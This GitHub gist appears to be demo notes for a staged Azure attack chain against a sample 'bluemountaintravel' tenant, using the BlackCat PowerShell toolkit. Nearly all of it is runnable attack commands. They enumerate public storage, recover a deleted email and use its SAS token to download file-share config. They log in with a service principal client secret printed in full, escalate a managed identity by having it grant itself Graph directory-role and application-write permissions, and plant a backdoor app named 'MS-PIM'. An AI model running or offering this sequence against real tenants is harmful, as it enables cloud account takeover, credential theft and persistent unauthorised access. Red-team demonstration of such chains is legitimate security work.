Skip to content

Instantly share code, notes, and snippets.

@azurekid
Last active March 16, 2026 18:28
Show Gist options
  • Select an option

  • Save azurekid/e5f8043e0c5ce0efa7f104ee6bc5ed58 to your computer and use it in GitHub Desktop.

Select an option

Save azurekid/e5f8043e0c5ce0efa7f104ee6bc5ed58 to your computer and use it in GitHub Desktop.

Phase 1

# Step 1: DNS record discovery
Find-DnsRecords -Domains "bluemountaintravel.uk"
# Step 2: Find DNS records for Azure resources
Find-AzurePublicResource -Name "bluemountaintravel" `
  -FastMode `
  -OutputFormat Table
# Step 3: Discover public storage containers
Find-PublicStorageContainer -StorageAccountName "bluemountaintravelsa"
# Step 5: Check for deleted blobs using BlackCat
Get-PublicBlobContent -StorageAccountName bluemountaintravelsa -ContainerName templates -IncludeDeleted
# Step 6: Download the deleted email
Get-PublicBlobContent -StorageAccountName bluemountaintravelsa -ContainerName templates -IncludeDeleted -OutputPath ./loot -Download

---------------------------

# Option 1: Open in mail client
Invoke-Item ./loot/Onboarding-Welcome-Email.eml
# Option 2: Display in terminal
Get-Content ./loot/Onboarding-Welcome-Email.eml

# Option 3: Open in VS Code (demo-friendly!)
code ./loot/Onboarding-Welcome-Email.eml

# Option 4: Search for any URLs
Select-String -Path ./loot/*.eml -Pattern "https://"
$sasToken = "?sv=2024-11-04&ss=f&srt=sco&sp=rl&se=2028-01-21..."
Read-SASToken -SASToken $sasToken

# Output shows:
#   Service: File
#   ResourceTypes: Service, Container, Object  <-- srt=sco!
#   Permissions: Read, List                    <-- Can enumerate everything!
#   Expiry: 2028-01-21                         <-- Valid for 2+ years!

# The SAS token was meant for ONE user's folder, but srt=sco means
# it can enumerate the ENTIRE file share!
# Using the SAS token extracted from the deleted email
$storageAccount = "bluemountaintravelsa"
$fileShare = "docs"
$sasToken = "?sv=2024-11-04&ss=f&srt=sco&sp=rl&se=2028-01-21T22:14:47Z&st=2026-01-21T13:59:47Z&spr=https,http&sig=X568VG5xyLVY9xLl9eoSa4oJM0wzRIkLHeHlixtwAkM%3D"

# Step 1: Use BlackCat's Get-FileShareContent to enumerate the file share
Get-FileShareContent -StorageAccountName $storageAccount -FileShareName $fileShare -SasToken $sasToken
Get-FileShareContent `
  -StorageAccountName $storageAccount `
  -FileShareName $fileShare `
  -Path "peter-parker" `
  -SasToken $sasToken

## Download the config files

Get-FileShareContent `
  -StorageAccountName $storageAccount `
  -FileShareName $fileShare `
  -Path "config" `
  -SasToken $sasToken `
  -Download
$configFileUrl = "https://$storageAccount.file.core.windows.net/$fileShare/config/app-config.bak$sasToken"
Invoke-RestMethod -Uri $configFileUrl -OutFile "app-config.bak"

Get-Content ./app-config.bak

PHASE 3: Authenticated Azure Reconnaissance (10 minutes)

$params = @{
    ServicePrincipalId = "12b684d1-68be-4dc9-90c2-0ab270402124"
    TenantId = "3da86d62-c862-48da-973f-487ab98166a8"
    ClientSecret = "3zp8Q~uo_nPsTYu1nOqHI8_UklGucP4a3Z3zuasp"
    SubscriptionId = "cc826ab7-e046-4422-8e68-ba57b6d48165"
}

Connect-ServicePrincipal @params
Get-RoleAssignment -CurrentUser
Get-ManagedIdentity
Get-ServicePrincipalsPermission -ServicePrincipalId "197e935d-02a7-4ca3-98a2-a2b0ffc389f6"
Get-FederatedIdentityCredential -Name "uami-hr-cicd-automation"

Phase 4 EXPLAIN !!!!!

$uamiId = "/subscriptions/a1b2c3d4-e5f6-7890-abcd-ef1234567890/resourceGroups/rg-hr-infrastructure/providers/Microsoft.ManagedIdentity/userAssignedIdentities/uami-hr-cicd-automation"

Invoke-FederatedTokenExchange `
    -Name uami-hr-cicd-automation `
    -IssuerUrl 'https://blackcatoidc.blob.core.windows.net/oidc'
Connect-GraphToken -AccessToken $token.AccessToken -EndpointType MSGraph
$uamiId = "197e935d-02a7-4ca3-98a2-a2b0ffc389f6"

# Grant the UAMI the ability to create applications
Set-ManagedIdentityPermission `
    -servicePrincipalId $uamiId `
    -CommonResource MicrosoftGraph `
    -appRoleName "Application.ReadWrite.All"

# Grant the UAMI the ability to assign directory roles
Set-ManagedIdentityPermission `
    -servicePrincipalId $uamiId `
    -CommonResource MicrosoftGraph `
    -appRoleName "RoleManagement.ReadWrite.Directory"

# The UAMI just granted ITSELF both permissions needed for complete takeover!

NOTE! Now The UAMI HAS NEW PERMISSIONS So RE-AUTHENTICATE WITH SPN

$params = @{
    ServicePrincipalId = "12b684d1-68be-4dc9-90c2-0ab270402124"
    TenantId = "3da86d62-c862-48da-973f-487ab98166a8"
    ClientSecret = "3zp8Q~uo_nPsTYu1nOqHI8_UklGucP4a3Z3zuasp"
    SubscriptionId = "cc826ab7-e046-4422-8e68-ba57b6d48165"
}

Connect-ServicePrincipal @params
$uamiId = "/subscriptions/a1b2c3d4-e5f6-7890-abcd-ef1234567890/resourceGroups/rg-hr-infrastructure/providers/Microsoft.ManagedIdentity/userAssignedIdentities/uami-hr-cicd-automation"

$token =Invoke-FederatedTokenExchange `
    -Name uami-hr-cicd-automation `
    -IssuerUrl 'https://blackcatoidc.blob.core.windows.net/oidc'
    
# Authenticate using Connect-GraphToken with base64-encoded token
Connect-GraphToken -AccessToken $token.AccessToken -EndpointType MSGraph

Phase 5

Add-EntraApplication -DisplayName "MS-PIM"

Set-ServicePrincipalCredential -ObjectId $ServicePrincipalId -Action AddPassword -GenerateSecret
Connect-ServicePrincipal `
  -TenantId '3da86d62-c862-48da-973f-487ab98166a8' `
  -ServicePrincipalId '<APPLICATION ID>' `
  -ClientSecret '<NEW SECRET>' `
  
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment